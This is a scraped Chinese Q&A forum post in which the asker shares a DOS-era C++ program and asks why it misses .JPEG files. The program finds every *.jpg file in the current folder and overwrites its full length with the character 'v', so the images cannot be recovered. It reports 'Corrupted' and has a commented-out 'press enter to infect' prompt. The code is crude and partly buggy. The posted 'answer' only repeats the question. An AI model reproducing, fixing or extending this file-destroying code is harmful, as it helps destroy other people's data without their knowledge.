为什么 .JPG 文件被忽略并且输出是 .JPEG 文件未找到?因此程序应该寻找 .jpg 而不是 .jpeg

我正在尝试修改包含在 static/temp 文件夹中的 .JPEG 文件,以确保它们已损坏但目标文件被忽略。目标是更改或注入文件中的数据以使其无法恢复,但稍后我将尝试使反向程序检测注入的数据并将其从文件中删除,以便在文件损坏时恢复文件这个特殊的程序。

代码:

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<string.h>
#include<fstream.h>

void boot() {
  clrscr();
  textcolor(BLUE);
  cprintf("/n/n/n/n/n/t/t/t/t Enter the code : "); // any key would do
  getch();
}

void end() {
  char a[] = "\n All Modifications of illegal pictures are success .....";
  for (int i = 0; i < strlen(a); i++) {
    cprintf("%c",a[i]);
    delay(20);
  }
}

void main() {
  boot();
  clrscr();
  char a[] = "Scanning the folder ..... /n/nListing the files in the folder";
  for (int i = 0; i < strlen(a); i++) {
    cprintf("%c",a[i]);
    delay(50);
  }
  struct find_t file;
  int done = _dos_findfirst("*.*",_A_NORMAL,& file);
  while (!done) {
    cout << "/n";
    cprintf("%s",file.name);
    delay(30);
    done = _dos_findnext( & file);
  }
  char b[] = "/n Corruption extention search initialised";
  for (int j = 0; j < strlen(b); j++) {
    cprintf("%c",b[j]);
    delay(30);
  }
  int fin = _dos_findfirst("*.jpg",& file);
  while (!fin) {
    cout << "/n";
    cprintf("%s",file.name);
    delay(20);
    char * picture1 = file.name;
    ofstream ram;
    ram.open(picture1,ios::app);
    long int size;
    long int s,e;
    ram.seekp(0);
    s = ram.tellp();
    ram.seekp(0,ios::end);
    e = ram.tellp();
    size = e - s;
    cprintf("/t size %ld/t Corruption /n",size);
    // cout<<"\n press enter to infect ";
    // getch();
    ram.seekp(0);
    ram.close();
    ram.open(picture1);
    char gh = 'v';
    for (long int h = 0; h < size; h++) {
      ram << gh;
    }
    cprintf("/n %s/t Corrupted",file.name);
    ram.close();
    fin = _dos_findnext( & file);
  }
  end();
}
shuiyezhu 回答:为什么 .JPG 文件被忽略并且输出是 .JPEG 文件未找到?因此程序应该寻找 .jpg 而不是 .jpeg

暂时没有好的解决方案,如果你有好的解决方案,请发邮件至:iooj@foxmail.com
本文链接:https://www.f2er.com/1157958.html

大家都在问